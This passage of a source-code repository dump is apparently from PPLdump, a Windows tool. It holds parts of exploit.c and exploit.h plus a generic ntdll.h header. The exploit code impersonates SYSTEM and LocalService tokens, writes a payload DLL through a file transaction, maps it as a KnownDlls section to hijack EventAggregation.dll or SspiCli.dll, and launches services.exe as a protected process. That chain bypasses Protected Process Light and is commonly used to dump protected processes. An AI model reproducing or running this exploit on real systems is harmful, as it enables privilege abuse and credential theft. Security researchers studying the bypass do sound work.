sizeof(*pwszPrivileges));\n}\n\n_Success_(return)\nBOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken)\n{\n\treturn ImpersonateUser(L\"S-1-5-19\", phLocalServiceToken, NULL, 0);\n}\n\n_Success_(return)\nBOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tNTSTATUS status = 0;\n\tLPWSTR pwszLinkName = NULL;\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING name = { 0 };\n\tUNICODE_STRING target = { 0 };\n\tLPWSTR pwszTargetLocal = NULL;\n\tHANDLE hLink = NULL;\n\tULONG length = 0;\n\n\tpwszLinkName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n\tif (!pwszLinkName)\n\t\tgoto end;\n\n\tpwszTargetLocal = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n\tif (!pwszTargetLocal)\n\t\tgoto end;\n\n\tStringCchPrintf(pwszLinkName, MAX_PATH, L\"\\\\KnownDlls\\\\%ws\", pwszDllName);\n\n\tRtlInitUnicodeString(&name, pwszLinkName);\n\tInitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\tstatus = NtOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_QUERY, &oa);\n\tSetLastError(RtlNtStatusToDosError(status));\n\tif (status != 0)\n\t{\n\t\tPrintLastError(L\"NtOpenSymbolicLinkObject\");\n\t\tgoto end;\n\t}\n\n\ttarget.Buffer = pwszTargetLocal;\n\ttarget.Length = 0;\n\ttarget.MaximumLength = MAX_PATH * sizeof(WCHAR);\n\n\tstatus = NtQuerySymbolicLinkObject(hLink, &target, &length);\n\tSetLastError(RtlNtStatusToDosError(status));\n\tif (status != 0)\n\t{\n\t\tPrintLastError(L\"NtQuerySymbolicLinkObject\");\n\t\tgoto end;\n\t}\n\n\tbReturnValue = _wcsicmp(target.Buffer, pwszTarget) == 0;\n\nend:\n\tif (pwszLinkName)\n\t\tLocalFree(pwszLinkName);\n\tif (pwszTargetLocal)\n\t\tLocalFree(pwszTargetLocal);\n\tif (hLink)\n\t\tCloseHandle(hLink);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection)\n{\n/*\n\tBOOL bReturnValue = FALSE;\n\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING sectionName = { 0 };\n\tNTSTATUS status = 0;\n\tHANDLE hSection = NULL;\n\n\tHANDLE hDllTransacted = NULL;\n\t// TODO PATH: Replacing with just reading from disk\n\tHANDLE hTransaction = NULL;\n\t//const wchar_t *pwszTargetFile = L\"C:\\\\code\\\\PPLdump\\\\x64\\\\Release\\\\PPLdumpDll.dll\";\n\tconst wchar_t* pwszTargetFile = L\"C:\\\\code\\\\Sealighter\\\\x64\\\\Release\\\\PPLdumpDll.dll\";\n\thDllTransacted = CreateFileW(pwszTargetFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n\n\tRtlInitUnicodeString(&sectionName, pwszSectionName);\n\tInitializeObjectAttributes(&oa, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\t//\n\t// According to the documentation, the SEC_IMAGE attribute must be combined with the page \n\t// protection value PAGE_READONLY. But the page protection has actually no effect because the \n\t// page protection is determined by the executable file itself.\n\t// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga\n\t//\n\tstatus = NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, NULL, PAGE_READONLY, SEC_IMAGE, hDllTransacted);\n\tif (status != STATUS_SUCCESS)\n\t{\n\t\tSetLastError(RtlNtStatusToDosError(status));\n\t\tPrintLastError(L\"NtCreateSection\");\n\t\tgoto end;\n\t}\n\n\t*phSection = hSection;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hDllTransacted)\n\t\tCloseHandle(hDllTransacted);\n\n\treturn bReturnValue;\n*/\n\tBOOL bReturnValue = FALSE;\n\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING sectionName = { 0 };\n\tNTSTATUS status = 0;\n\tHANDLE hSection = NULL;\n\n\tHANDLE hDllTransacted = NULL;\n\n\tif (!WritePayloadDllTransacted(&hDllTransacted))\n\t\tgoto end;\n\n\tRtlInitUnicodeString(&sectionName, pwszSectionName);\n\tInitializeObjectAttributes(&oa, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\t//\n\t// According to the documentation, the SEC_IMAGE attribute must be combined with the page \n\t// protection value PAGE_READONLY. But the page protection has actually no effect because the \n\t// page protection is determined by the executable file itself.\n\t// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga\n\t//\n\tstatus = NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, NULL, PAGE_READONLY, SEC_IMAGE, hDllTransacted);\n\tif (status != STATUS_SUCCESS)\n\t{\n\t\tSetLastError(RtlNtStatusToDosError(status));\n\t\tPrintLastError(L\"NtCreateSection\");\n\t\tgoto end;\n\t}\n\n\t*phSection = hSection;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hDllTransacted)\n\t\tCloseHandle(hDllTransacted);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL UnmapDll(_In_ HANDLE hSection)\n{\n\tNTSTATUS status = 0;\n\n\tstatus = NtClose(hSection);\n\tif (status != STATUS_SUCCESS)\n\t{\n\t\tSetLastError(RtlNtStatusToDosError(status));\n\t\tPrintLastError(L\"NtClose\");\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\n_Success_(return)\nBOOL PrepareCommandLine(_In_ LPWSTR pwszRandomGuid, _Out_ LPWSTR* ppwszCommandLine)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tconst size_t size = 32767;\n\tLPWSTR pwszSystemDirectory = NULL;\n\n\t*ppwszCommandLine = (LPWSTR)LocalAlloc(LPTR, size * sizeof(WCHAR));\n\tif (!*ppwszCommandLine)\n\t\tgoto end;\n\n\tpwszSystemDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n\tif (!pwszSystemDirectory)\n\t\tgoto end;\n\n\tGetSystemDirectory(pwszSystemDirectory, MAX_PATH);\n\tStringCchPrintf(*ppwszCommandLine, size, L\"%ws\\\\%ws %ws\", pwszSystemDirectory, PPL_BINARY, pwszRandomGuid);\n\n\tif (g_bDebug)\n\t\tStringCchCat(*ppwszCommandLine, size, L\" -d\");\n\telse\n\t{\n\t\tif (g_bVerbose)\n\t\t\tStringCchCat(*ppwszCommandLine, size, L\" -v\");\n\t}\n\n\tbReturnValue = TRUE;\n\nend:\n\tif (pwszSystemDirectory)\n\t\tLocalFree(pwszSystemDirectory);\n\n\treturn bReturnValue;\n}\n\n_Success_(return)\nBOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PPROCESS_INFORMATION pProcessInfo)\n{\n\tSTARTUPINFO si = { 0 };\n\tHANDLE hProcess = NULL;\n\n\tZeroMemory(&si, sizeof(si));\n\tsi.cb = sizeof(si);\n\n\tif (!CreateProcessAsUser(hToken, NULL, pwszCommandLine, NULL, NULL, TRUE, CREATE_PROTECTED_PROCESS, NULL, NULL, &si, pProcessInfo))\n\t{\n\t\tPrintLastError(L\"CreateProcessAsUser\");\n\t\treturn FALSE;\n\t}\n\n\tCloseHandle(pProcessInfo->hThread);\n\t\n\treturn TRUE;\n}\n"
  },
  {
    "path": "PPLdump/exploit.h",
    "content": "#pragma once\n\n#include \"utils.h\"\n#include \"resource.h\"\n\n#include <versionhelpers.h>\n#include <aclapi.h>\n\n#define PPL_BINARY L\"services.exe\"\n#define DLL_TO_HIJACK_WIN10 L\"EventAggregation.dll\"\n//#define DLL_TO_HIJACK_WIN10 L\"api-ms-win-eventing-classicprovider-l1-1-0.dll\"\n\n#define DLL_TO_HIJACK_WIN81 L\"SspiCli.dll\"\n\n#ifndef STATUS_INFO_LENGTH_MISMATCH\n#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)\n#endif\n\nextern BOOL g_bVerbose;\nextern BOOL g_bDebug;\nextern BOOL g_bForce;\nextern HANDLE g_hEventStopTrace;\n\n_Success_(return) BOOL StartETWLogger();\n_Success_(return) BOOL CheckRequirements();\n_Success_(return) BOOL WINAPI CtrlCHandler(DWORD fdwCtrlType);\n_Success_(return) BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult);\n_Success_(return) BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName);\n_Success_(return) BOOL GetPayloadDll(_Out_ LPVOID* ppBuffer, _Out_ PDWORD pdwSize);\n_Success_(return) BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath);\n_Success_(return) BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile);\n_Success_(return) BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount);\n_Success_(return) BOOL Impersonate(_In_ HANDLE hToken);\n_Success_(return) BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount);\n_Success_(return) BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken);\n_Success_(return) BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken);\n_Success_(return) BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget);\n_Success_(return) BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection);\n_Success_(return) BOOL UnmapDll(_In_ HANDLE hSection);\n_Success_(return) BOOL PrepareCommandLine(_In_ LPWSTR pwszRandomGuid, _Out_ LPWSTR* ppwszCommandLine);\n_Success_(return) BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PPROCESS_INFORMATION pProcessInfo);\n"
  },
  {
    "path": "PPLdump/ntdll.h",
    "content": "/*****************************************************************************/\n/* Ntdll.h                                Copyright (c) Ladislav Zezula 2005 */\n/*---------------------------------------------------------------------------*/\n/* Header file for the import library \"Ntdll.lib\"                            */\n/*                                                                           */\n/* This library has been created because of never-ending problems when       */\n/* Ntdll.lib from Windows DDK with SDK libs (duplicate symbols, linker       */\n/* errors etc).                                                              */\n/* Now, it is possible to use native NT API with no problems, all you need   */\n/* is just to include this header file                                       */\n/*---------------------------------------------------------------------------*/\n/*   Date    Ver   Who  Comment                                              */\n/* --------  ----  ---  -------                                              */\n/* 15.05.03  1.00  Lad  The first version of Ntdll.h                         */\n/* 16.09.05  2.00  Lad  Far more functions                                   */\n/*****************************************************************************/\n\n#include <Windows.h>\n\n#ifndef __NTDLL_H__\n#define __NTDLL_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef _NTDDK_\n#error This header cannot be compiled together with NTDDK\n#endif\n\n#ifndef _NTDLL_SELF_                            // Auto-insert the library\n#pragma comment(lib, \"Ntdll.lib\")\n#endif\n\n#pragma warning(disable: 4201)                  // nonstandard extension used : nameless struct/union\n\n//------------------------------------------------------------------------------\n// Defines for NTSTATUS\n\n#ifdef _Return_type_success_\ntypedef _Return_type_success_(return >= 0) LONG NTSTATUS;\n#else\ntypedef LONG NTSTATUS;\n#endif\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status)   ((NTSTATUS)(Status) >= 0)\n#endif\n\n#ifndef STATUS_SUCCESS\n#define STATUS_SUCCESS       ((NTSTATUS)0x00000000L)\n#endif\n\n#ifndef STATUS_UNSUCCESSFUL\n#define STATUS_UNSUCCESSFUL  ((NTSTATUS)0xC0000001L)\n#endif\n\n#ifndef ASSERT\n#ifdef _DEBUG\n#define ASSERT(x) assert(x)\n#else\n#define ASSERT(x) /* x */\n#endif\n#endif\n\n#ifndef DEVICE_TYPE\n#define DEVICE_TYPE DWORD\n#endif\n\n//-----------------------------------------------------------------------------\n// Definition of intervals for waiting functions\n\n#define ABSOLUTE_INTERVAL(wait) (wait)\n\n#define RELATIVE_INTERVAL(wait) (-(wait))\n\n#define NANOSECONDS(nanos) \\\n(((signed __int64)(nanos)) / 100L)\n\n#define MICROSECONDS(micros) \\\n(((signed __int64)(micros)) * NANOSECONDS(1000L))\n\n#define MILISECONDS(mili) \\\n(((signed __int64)(mili)) * MICROSECONDS(1000L))\n\n#define SECONDS(seconds) \\\n(((signed __int64)(seconds)) * MILISECONDS(1000L))\n\n//------------------------------------------------------------------------------\n// Structures\n\n#ifndef _NTDEF_\ntypedef enum _EVENT_TYPE\n{\n    NotificationEvent,\n    SynchronizationEvent\n} EVENT_TYPE;\n\n//\n// ANSI strings are counted 8-bit character strings. If they are\n// NULL terminated, Length does not include trailing NULL.\n//\n\ntypedef struct _STRING\n{\n    USHORT Length;\n    USHORT MaximumLength;\n    PCHAR  Buffer;\n} STRING, *PSTRING;\n\n//\n// Unicode strings are counted 16-bit character strings. If they are\n// NULL terminated, Length does not include trailing NULL.\n//\n\ntypedef struct _UNICODE_STRING\n{\n    USHORT Length;\n    USHORT MaximumLength;\n    PWSTR  Buffer;\n} UNICODE_STRING, *PUNICODE_STRING;\n\n//\n// bitmap type\n//\n\ntypedef struct _RTL_BITMAP\n{\n    ULONG SizeOfBitmap;\n    PULONG Buffer;\n} RTL_BITMAP, *PRTL_BITMAP;\n\n//\n// preallocated heap-growable buffers\n//\n\ntypedef struct _RTL_BUFFER\n{\n    PUCHAR    Buffer;\n    PUCHAR    StaticBuffer;\n    SIZE_T    Size;\n    SIZE_T    StaticSize;\n    SIZE_T    ReservedForAllocatedSize;     // for future doubling\n    PVOID     ReservedForIMalloc;           // for future pluggable growth\n} RTL_BUFFER, *PRTL_BUFFER;\n\n//\n// A preallocated buffer that is \"tied\" to a UNICODE_STRING\n//\n\ntypedef struct _RTL_UNICODE_STRING_BUFFER\n{\n    UNICODE_STRING String;\n    RTL_BUFFER     ByteBuffer;\n    UCHAR          MinimumStaticBufferForTerminalNul[sizeof(WCHAR)];\n\n} RTL_UNICODE_STRING_BUFFER, *PRTL_UNICODE_STRING_BUFFER;\n\ntypedef STRING ANSI_STRING;\ntypedef PSTRING PANSI_STRING;\n\ntypedef STRING OEM_STRING;\ntypedef PSTRING POEM_STRING;\ntypedef CONST STRING* PCOEM_STRING;\n\ntypedef const UNICODE_STRING *PCUNICODE_STRING;\n\n#define UNICODE_NULL ((WCHAR)0) // winnt\n\n#ifndef RTL_CONSTANT_STRING         // UNICODE_STRING FooStr = RTL_CONSTANT_STRING(L\"Foo\");\n#define RTL_CONSTANT_STRING(str)    {(USHORT)(sizeof(str) - sizeof(str[0])), (USHORT)(sizeof(str)), str}\n#endif  // RTL_CONSTANT_STRING\n\n//\n// Definitions for Object Creation\n//\n\n#define OBJ_INHERIT                             0x00000002L\n#define OBJ_PERMANENT                           0x00000010L\n#define OBJ_EXCLUSIVE                           0x00000020L\n#define OBJ_CASE_INSENSITIVE                    0x00000040L\n#define OBJ_OPENIF                              0x00000080L\n#define OBJ_OPENLINK                            0x00000100L\n#define OBJ_KERNEL_HANDLE                       0x00000200L\n#define OBJ_FORCE_ACCESS_CHECK                  0x00000400L\n#define OBJ_VALID_ATTRIBUTES                    0x000007F2L\n\n//\n// Object Attributes structure\n//\n\ntypedef struct _OBJECT_ATTRIBUTES\n{\n    ULONG Length;\n    HANDLE RootDirectory;\n    PUNICODE_STRING ObjectName;\n    ULONG Attributes;\n    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR\n    PVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE\n} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;\n\n//\n// IO_STATUS_BLOCK\n//\n\ntypedef struct _IO_STATUS_BLOCK\n{\n    union\n    {\n        NTSTATUS Status;\n        PVOID Pointer;\n    };\n\n    ULONG_PTR Information;\n\n} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\n\n//\n// ClientId\n//\n\ntypedef struct _CLIENT_ID\n{\n    HANDLE UniqueProcess;\n    HANDLE UniqueThread;\n} CLIENT_ID, *PCLIENT_ID;\n#endif // _NTDEF_\n/*\ntypedef struct _IMAGE_RELOC\n{\n    WORD offset : 12;\n    WORD type : 4;\n} IMAGE_RELOC, *PIMAGE_RELOC;\n*/\n\n//------------------------------------------------------------------------------\n// Macros\n\n#ifndef InitializeObjectAttributes\n#define InitializeObjectAttributes( innerPath, n, a, r, s ) {   \\\n    (innerPath)->Length = sizeof( OBJECT_ATTRIBUTES );          \\\n    (innerPath)->RootDirectory = r;                             \\\n    (innerPath)->Attributes = a;                                \\\n    (innerPath)->ObjectName = n;                                \\\n    (innerPath)->SecurityDescriptor = s;                        \\\n    (innerPath)->SecurityQualityOfService = NULL;               \\\n    }\n#endif\n\n//\n// Macros for handling LIST_ENTRY-based lists\n//\n\n#if !defined(_WDMDDK_) && !defined(_LIST_ENTRY_MACROS_DEFINED_)\n#define _LIST_ENTRY_MACROS_DEFINED_\n\nBOOLEAN\nFORCEINLINE\nIsListEmpty(\n    IN const LIST_ENTRY * ListHead\n    )\n{\n    return (BOOLEAN)(ListHead->Flink == ListHead);\n}\n\nFORCEINLINE\nVOID\nInitializeListHead(\n    IN PLIST_ENTRY ListHead\n    )\n{\n    ListHead->Flink = ListHead->Blink = ListHead;\n}\n\nFORCEINLINE\nVOID\nInsertHeadList(\n    IN OUT PLIST_ENTRY ListHead,\n    IN OUT PLIST_ENTRY Entry\n    )\n{\n    PLIST_ENTRY Flink;\n\n    Flink = ListHead->Flink;\n    Entry->Flink = Flink;\n    Entry->Blink = ListHead;\n    Flink->Blink = Entry;\n    ListHead->Flink = Entry;\n}\n\nFORCEINLINE\nVOID\nInsertTailList(\n    IN OUT PLIST_ENTRY ListHead,\n    IN OUT PLIST_ENTRY Entry\n    )\n{\n    PLIST_ENTRY Blink;\n\n    Blink = ListHead->Blink;\n    Entry->Flink = ListHead;\n    Entry->Blink = Blink;\n    Blink->Flink = Entry;\n    ListHead->Blink = Entry;\n}\n\nFORCEINLINE\nBOOLEAN\nRemoveEntryList(\n    IN PLIST_ENTRY Entry\n    )\n{\n    PLIST_ENTRY Blink;\n    PLIST_ENTRY Flink;\n\n    Flink = Entry->Flink;\n    Blink = Entry->Blink;\n    Blink->Flink = Flink;\n    Flink->Blink = Blink;\n    return (BOOLEAN)(Flink == Blink);\n}\n#endif  // #if !defined(_WDMDDK_) && !defined(_LIST_ENTRY_MACROS_DEFINED_)\n\n//-----------------------------------------------------------------------------\n// Bitmap functions\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetBit(\n    PRTL_BITMAP BitMapHeader,\n    ULONG BitNumber\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetBits(\n    PRTL_BITMAP BitMapHeader,\n    ULONG StartingIndex,\n    ULONG NumberToSet\n    );\n\n//-----------------------------------------------------------------------------\n// Unicode string functions\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitString(\n    PSTRING DestinationString,\n    PCSTR SourceString\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitUnicodeString(\n    PUNICODE_STRING DestinationString,\n    PCWSTR SourceString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitUnicodeStringEx(\n    PUNICODE_STRING DestinationString,\n    PCWSTR SourceString\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PCWSTR SourceString\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateUnicodeStringFromAsciiz(\n    OUT PUNICODE_STRING Destination,\n    IN PCSTR Source\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlPrefixUnicodeString(\n    IN PUNICODE_STRING String1,\n    IN PUNICODE_STRING String2,\n    IN BOOLEAN CaseInSensitive\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDuplicateUnicodeString(\n    IN  BOOLEAN AllocateNew,\n    IN  PUNICODE_STRING SourceString,\n    OUT PUNICODE_STRING TargetString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendUnicodeToString(\n    PUNICODE_STRING Destination,\n    PCWSTR Source\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendUnicodeStringToString(\n    IN OUT PUNICODE_STRING Destination,\n    IN PUNICODE_STRING Source\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToInteger(\n    IN PUNICODE_STRING String,\n    IN ULONG Base OPTIONAL,\n    OUT PULONG Value\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIntegerToUnicodeString(\n    IN ULONG Value,\n    IN ULONG Base OPTIONAL,\n    IN OUT PUNICODE_STRING String\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGUIDFromString(\n    IN PUNICODE_STRING GuidString,\n    OUT GUID *Guid\n    );\n\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareUnicodeString(\n    IN PUNICODE_STRING String1,\n    IN PUNICODE_STRING String2,\n    IN BOOLEAN CaseInSensitive\n    );\n\n// Windows Vista or newer\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareUnicodeStrings(\n    IN PWCH String1,\n    IN SIZE_T Length1,\n    IN PWCH String2,\n    IN SIZE_T Length2,\n    IN BOOLEAN CaseInSensitive\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlCopyUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PUNICODE_STRING SourceString\n    );\n\nNTSYSAPI\nWCHAR\nNTAPI\nRtlUpcaseUnicodeChar(\n    IN WCHAR SourceCharacter\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PUNICODE_STRING SourceString,\n    IN BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDowncaseUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PUNICODE_STRING SourceString,\n    IN BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeToMultiByteN(\n    OUT PCH MultiByteString,\n    IN ULONG MaxBytesInMultiByteString,\n    OUT PULONG BytesInMultiByteString OPTIONAL,\n    IN PWCH UnicodeString,\n    IN ULONG BytesInUnicodeString\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualUnicodeString(\n    IN PUNICODE_STRING String1,\n    IN PUNICODE_STRING String2,\n    IN BOOLEAN CaseInSensitive\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeUnicodeString(\n    IN  PUNICODE_STRING UnicodeString\n    );\n\nNTSYSAPI\nWCHAR\nNTAPI\nRtlAnsiCharToUnicodeChar(\n    IN OUT PUCHAR * SourceCharacter\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAnsiStringToUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PANSI_STRING SourceString,\n    IN BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToAnsiString(\n    OUT PANSI_STRING DestinationString,\n    IN PUNICODE_STRING SourceString,\n    IN BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitAnsiString(\n    OUT PANSI_STRING DestinationString,\n    IN PCHAR SourceString\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeAnsiString(\n    IN PANSI_STRING AnsiString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFormatCurrentUserKeyPath(\n    OUT PUNICODE_STRING CurrentUserKeyPath\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlRaiseStatus(\n    IN NTSTATUS Status\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nDbgBreakPoint(\n    VOID\n    );\n\nNTSYSAPI\nULONG\n_cdecl\nDbgPrint(\n    PCH Format,\n    ...\n    );\n\n// Since Windows XP\nNTSYSAPI\nULONG\n__cdecl\nDbgPrintEx(\n    IN ULONG ComponentId,\n    IN ULONG Level,\n    IN PCSTR Format,\n    ...\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRandom(\n    IN OUT PULONG Seed\n    );\n\n//-----------------------------------------------------------------------------\n// Critical section functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeCriticalSection(\n    IN  PRTL_CRITICAL_SECTION CriticalSection\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeCriticalSectionAndSpinCount(\n    IN  PRTL_CRITICAL_SECTION CriticalSection,\n    IN  ULONG SpinCount\n    );\n\nNTSYSAPI\nBOOL\nNTAPI\nRtlTryEnterCriticalSection(\n    IN PRTL_CRITICAL_SECTION CriticalSection\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlEnterCriticalSection(\n    IN PRTL_CRITICAL_SECTION CriticalSection\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLeaveCriticalSection(\n    IN PRTL_CRITICAL_SECTION CriticalSection\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteCriticalSection(\n    IN  PRTL_CRITICAL_SECTION CriticalSection\n    );\n\n//-----------------------------------------------------------------------------\n// Compression and decompression\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCompressBuffer(\n    IN  USHORT CompressionFormatAndEngine,\n    IN  PUCHAR UncompressedBuffer,\n    IN  ULONG UncompressedBufferSize,\n    OUT PUCHAR CompressedBuffer,\n    IN  ULONG CompressedBufferSize,\n    IN  ULONG UncompressedChunkSize,\n    OUT PULONG FinalCompressedSize,\n    IN  PVOID WorkSpace\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDecompressBuffer(\n    IN  USHORT CompressionFormat,\n    OUT PUCHAR UncompressedBuffer,\n    IN  ULONG UncompressedBufferSize,\n    IN  PUCHAR CompressedBuffer,\n    IN  ULONG CompressedBufferSize,\n    OUT PULONG FinalUncompressedSize\n    );\n\n//-----------------------------------------------------------------------------\n// 8.3 name support\n\ntypedef struct _GENERATE_NAME_CONTEXT\n{\n    //\n    //  The structure is divided into two strings.  The Name, and extension.\n    //  Each part contains the value that was last inserted in the name.\n    //  The length values are in terms of wchars and not bytes.  We also\n    //  store the last index value used in the generation collision algorithm.\n    //\n\n    USHORT Checksum;\n    BOOLEAN ChecksumInserted;\n\n    UCHAR NameLength;                             // not including extension\n    WCHAR NameBuffer[8];                          // e.g., \"ntoskrnl\"\n\n    ULONG ExtensionLength;                        // including dot\n    WCHAR ExtensionBuffer[4];                     // e.g., \".exe\"\n\n    ULONG LastIndexValue;\n\n} GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT;\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsNameLegalDOS8Dot3(\n    IN PUNICODE_STRING Name,\n    IN OUT POEM_STRING OemName OPTIONAL,\n    OUT PBOOLEAN NameContainsSpaces OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGenerate8dot3Name (\n    IN PCUNICODE_STRING Name,\n    IN BOOLEAN AllowExtendedCharacters,\n    IN OUT PGENERATE_NAME_CONTEXT Context,\n    IN OUT PUNICODE_STRING Name8dot3\n    );\n\n//-----------------------------------------------------------------------------\n// Object functions\n\n//\n// Object Manager Directory Specific Access Rights.\n//\n\n#ifndef DIRECTORY_QUERY\n#define DIRECTORY_QUERY                         0x0001\n#define DIRECTORY_TRAVERSE                      0x0002\n#define DIRECTORY_CREATE_OBJECT                 0x0004\n#define DIRECTORY_CREATE_SUBDIRECTORY           0x0008\n#define DIRECTORY_ALL_ACCESS                    (STANDARD_RIGHTS_REQUIRED | 0xF)\n#endif\n\ntypedef enum _POOL_TYPE {\n    NonPagedPool,\n    PagedPool,\n    NonPagedPoolMustSucceed,\n    DontUseThisType,\n    NonPagedPoolCacheAligned,\n    PagedPoolCacheAligned,\n    NonPagedPoolCacheAlignedMustS,\n    MaxPoolType,\n    NonPagedPoolSession = 32,\n    PagedPoolSession,\n    NonPagedPoolMustSucceedSession,\n    DontUseThisTypeSession,\n    NonPagedPoolCacheAlignedSession,\n    PagedPoolCacheAlignedSession,\n    NonPagedPoolCacheAlignedMustSSession\n\n} POOL_TYPE;\n\n\n//\n// For NtQueryObject\n//\n\ntypedef enum _OBJECT_INFORMATION_CLASS\n{\n    ObjectBasicInformation,\n    ObjectNameInformation,\n    ObjectTypeInformation,\n    ObjectTypesInformation,\n    ObjectHandleFlagInformation,\n    ObjectSessionInformation,\n    MaxObjectInfoClass\n\n} OBJECT_INFORMATION_CLASS;\n\n//\n// NtQueryObject uses ObjectBasicInformation\n//\n\ntypedef struct _OBJECT_BASIC_INFORMATION\n{\n    ULONG Attributes;\n    ACCESS_MASK GrantedAccess;\n    ULONG HandleCount;\n    ULONG PointerCount;\n    ULONG PagedPoolUsage;\n    ULONG NonPagedPoolUsage;\n    ULONG Reserved[3];\n    ULONG NameInformationLength;\n    ULONG TypeInformationLength;\n    ULONG 